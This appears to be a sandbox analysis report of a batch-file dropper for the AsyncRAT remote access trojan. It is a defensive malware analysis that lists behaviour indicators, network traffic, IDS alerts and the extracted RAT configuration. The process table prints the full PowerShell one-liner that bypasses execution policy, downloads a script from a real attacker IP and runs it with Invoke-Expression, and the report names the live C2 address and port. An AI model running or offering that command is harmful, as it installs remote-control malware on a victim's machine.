| File name: | fffd68f610114d72ebfc7f33fcc168ecd50d559c3f9d01df309121ca7682cd4b.bat |
| Full analysis: | https://app.any.run/tasks/0e6a657b-a4d9-4227-9440-13fa15d99d53 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | April 20, 2025, 05:40:28 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/x-msdos-batch |
| File info: | DOS batch file, ASCII text, with CRLF line terminators |
| MD5: | B7B8DFC9BBCB3DA2AE8EEA28D6837737 |
| SHA1: | 873BB08463DF4567D7E113B538747B4298B1C310 |
| SHA256: | FFFD68F610114D72EBFC7F33FCC168ECD50D559C3F9D01DF309121CA7682CD4B |
| SSDEEP: | 12:wb4u4Xc9YLRL8obpoHe39X4uaILxH8Fea9KUcbE99I7r6q+0YQ98XIYAHpc4b:wKXcIp8obaHe3OuaIxH8FeoKPE99Mr6i |
MALICIOUS
Bypass execution policy to execute commands
- powershell.exe (PID: 812)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 812)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 812)
Changes powershell execution policy (Bypass)
- cmd.exe (PID: 2320)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 812)
ASYNCRAT has been detected (SURICATA)
- MSBuild.exe (PID: 7704)
ASYNCRAT has been detected (YARA)
- MSBuild.exe (PID: 7704)
SUSPICIOUS
Found IP address in command line
- powershell.exe (PID: 812)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 2320)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 2320)
Connects to the server without a host name
- powershell.exe (PID: 812)
Possibly malicious use of IEX has been detected
- cmd.exe (PID: 2320)
Probably download files using WebClient
- cmd.exe (PID: 2320)
Potential Corporate Privacy Violation
- powershell.exe (PID: 812)
Process requests binary or script from the Internet
- powershell.exe (PID: 812)
CSC.EXE is used to compile C# code
- csc.exe (PID: 7640)
Executable content was dropped or overwritten
- csc.exe (PID: 7640)
Contacting a server suspected of hosting an CnC
- MSBuild.exe (PID: 7704)
Connects to unusual port
- MSBuild.exe (PID: 7704)
INFO
Disables trace logs
- powershell.exe (PID: 812)
Checks proxy server information
- powershell.exe (PID: 812)
Checks supported languages
- cvtres.exe (PID: 7668)
- MSBuild.exe (PID: 7704)
- csc.exe (PID: 7640)
Reads the machine GUID from the registry
- MSBuild.exe (PID: 7704)
- csc.exe (PID: 7640)
Reads the computer name
- MSBuild.exe (PID: 7704)
Reads the software policy settings
- MSBuild.exe (PID: 7704)
- slui.exe (PID: 7304)
Create files in a temporary directory
- cvtres.exe (PID: 7668)
- csc.exe (PID: 7640)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
AsyncRat
(PID) Process(7704) MSBuild.exe
C2 (1)185.39.17.70
Ports (1)8848
VersionLoaderPanel
Options
AutoRunfalse
Mutexhqjitjybornneksp
InstallFolder%AppData%
Certificates
Cert1MIICMDCCAZmgAwIBAgIVAJHz+ah5/J2brULSjvSUc0iQ1oaHMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDExvYWRlciBQYW5lbDETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDYyMzE5MDc1MFoXDTM1MDQwMjE5MDc1MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0A...
Server_SignatureCVPJD93DL+2331qWjErlHyBf0bqnxvWR24DG8xoU2w8Fu23X270YtV59LTJ0N8Plv03LW3PY7akBWoRGmuVkQTXZTjcv1TQLGqEQKNF2nCgwXlAhcijHNy225rmayMaXZEEvzoQ67S1C0GVIrsA+nAluqxnqZDCYb05xbPj+Kbo=
Keys
AES481c4247d86c050707a1e70b4783bb0238af9974ab55e0f85bd5e3b01f893f00
SaltLoaderPanel
Total processes
139
Monitored processes
10
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 812 | powershell -NoProfile -ExecutionPolicy Bypass -Command "$w=New-Object Net.WebClient;$s=$w.DownloadString('http://185.39.17.70/zgrnf/rc.mp4');Invoke-Expression $s" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2320 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\fffd68f610114d72ebfc7f33fcc168ecd50d559c3f9d01df309121ca7682cd4b.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2432 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4776 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7272 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) | |||||||||||||||
| 7304 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7640 | "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ogdw5tik.cmdline" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 7668 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESCC5A.tmp" "c:\Users\admin\AppData\Local\Temp\CSC7CE448881E414673815E1E8044857E42.TMP" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 14.32.31326.0 Modules
| |||||||||||||||
| 7696 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 4294967295 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 7704 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
AsyncRat(PID) Process(7704) MSBuild.exe C2 (1)185.39.17.70 Ports (1)8848 VersionLoaderPanel Options AutoRunfalse Mutexhqjitjybornneksp InstallFolder%AppData% Certificates Cert1MIICMDCCAZmgAwIBAgIVAJHz+ah5/J2brULSjvSUc0iQ1oaHMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDExvYWRlciBQYW5lbDETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDYyMzE5MDc1MFoXDTM1MDQwMjE5MDc1MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0A... Server_SignatureCVPJD93DL+2331qWjErlHyBf0bqnxvWR24DG8xoU2w8Fu23X270YtV59LTJ0N8Plv03LW3PY7akBWoRGmuVkQTXZTjcv1TQLGqEQKNF2nCgwXlAhcijHNy225rmayMaXZEEvzoQ67S1C0GVIrsA+nAluqxnqZDCYb05xbPj+Kbo= Keys AES481c4247d86c050707a1e70b4783bb0238af9974ab55e0f85bd5e3b01f893f00 SaltLoaderPanel | |||||||||||||||
Total events
8 454
Read events
8 454
Write events
0
Delete events
0
Modification events
Executable files
1
Suspicious files
3
Text files
5
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7640 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSC7CE448881E414673815E1E8044857E42.TMP | binary | |
MD5:0A142FE06DA63926276A69D8C29159B2 | SHA256:3861BA1C51D6B5B34D449A41C0EBEA886EB9736F12A9BBC46E4B72F211E0F8B8 | |||
| 812 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0m5npzjz.pt0.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 812 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ogdw5tik.cmdline | text | |
MD5:C31FE36CE6D4A3BF9D38063EE688DFE2 | SHA256:61001B6A49E4B26ACDFB6C27731F829B2487CCACCEB11176E39EAC9FF923F77A | |||
| 7640 | csc.exe | C:\Users\admin\AppData\Local\Temp\ogdw5tik.dll | executable | |
MD5:654AFC6C93C635186CAEE7EDEB50A0B9 | SHA256:4EA68526E70E585A8E4A2E259BC0EAB12A5A4FF8ECF63589D3407F202B84D4E6 | |||
| 812 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:BECFA29BED54496BBE2B447D76BDB751 | SHA256:F0DDCA53DFB05686CEEF6FA8D06324D8106FB8F94FA110C928529F7353115034 | |||
| 7640 | csc.exe | C:\Users\admin\AppData\Local\Temp\ogdw5tik.out | text | |
MD5:491E833353B1F019C311BB260446F75C | SHA256:1B0B92E95E6FFE87224A6B767B620607C4EEA7869E7978C3070925AD8CD4A822 | |||
| 812 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pjsaak10.vfa.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 812 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ogdw5tik.0.cs | text | |
MD5:58B10EF6BA0DA88788F1AAC56CE7E2DB | SHA256:AE11144F426028E50E77D64A66AEB954E169F627F8ABFE403791032594834520 | |||
| 7668 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESCC5A.tmp | binary | |
MD5:512CB4389BF274B744EA1D9BAD6A25DF | SHA256:77A2FF8DD264CBCBCEFFF965FC3FC527B7CCD0DD0B30C7455E47EDC4D4409166 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
22
DNS requests
15
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.16.164.72:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
812 | powershell.exe | GET | 200 | 185.39.17.70:80 | http://185.39.17.70/zgrnf/rc.mp4 | unknown | — | — | unknown |
812 | powershell.exe | GET | 200 | 185.39.17.70:80 | http://185.39.17.70/zgrnf/pixel.exe | unknown | — | — | unknown |
812 | powershell.exe | GET | 200 | 185.39.17.70:80 | http://185.39.17.70/zgrnf/qxm.exe | unknown | — | — | unknown |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
8120 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
8120 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 2.16.164.72:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
812 | powershell.exe | 185.39.17.70:80 | — | Joint Stock Company Tagnet | RU | unknown |
3216 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 20.190.160.131:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
812 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Download from dotted-quad Host |
812 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
812 | powershell.exe | Potential Corporate Privacy Violation | ET INFO PE EXE or DLL Windows file download HTTP |
812 | powershell.exe | Potentially Bad Traffic | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response |
812 | powershell.exe | Potentially Bad Traffic | ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile |
812 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Download from dotted-quad Host |
812 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
812 | powershell.exe | Potentially Bad Traffic | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response |
7704 | MSBuild.exe | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
7704 | MSBuild.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |